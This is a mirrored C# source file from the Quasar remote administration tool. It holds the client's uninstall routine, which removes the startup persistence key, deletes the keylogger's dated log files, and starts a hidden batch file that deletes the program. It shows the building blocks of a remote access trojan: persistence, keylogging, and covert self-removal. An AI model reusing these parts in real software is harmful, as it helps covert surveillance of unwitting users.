mirror of https://github.com/quasar/Quasar.git
53 lines
1.6 KiB
C#
53 lines
1.6 KiB
C#
using Quasar.Client.Config;
|
|
using Quasar.Client.IO;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Text.RegularExpressions;
|
|
using System.Windows.Forms;
|
|
|
|
namespace Quasar.Client.Setup
|
|
{
|
|
public class ClientUninstaller : ClientSetupBase
|
|
{
|
|
public void Uninstall()
|
|
{
|
|
if (Settings.STARTUP)
|
|
{
|
|
var clientStartup = new ClientStartup();
|
|
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
|
|
}
|
|
|
|
if (Settings.ENABLELOGGER && Directory.Exists(Settings.LOGSPATH))
|
|
{
|
|
// this must match the keylogger log files
|
|
Regex reg = new Regex(@"^\d{4}\-(0[1-9]|1[012])\-(0[1-9]|[12][0-9]|3[01])$");
|
|
|
|
foreach (var logFile in Directory.GetFiles(Settings.LOGSPATH, "*", SearchOption.TopDirectoryOnly)
|
|
.Where(path => reg.IsMatch(Path.GetFileName(path))).ToList())
|
|
{
|
|
try
|
|
{
|
|
File.Delete(logFile);
|
|
}
|
|
catch (Exception)
|
|
{
|
|
// no important exception
|
|
}
|
|
}
|
|
}
|
|
|
|
string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath);
|
|
|
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
|
{
|
|
WindowStyle = ProcessWindowStyle.Hidden,
|
|
UseShellExecute = true,
|
|
FileName = batchFile
|
|
};
|
|
Process.Start(startInfo);
|
|
}
|
|
}
|
|
}
|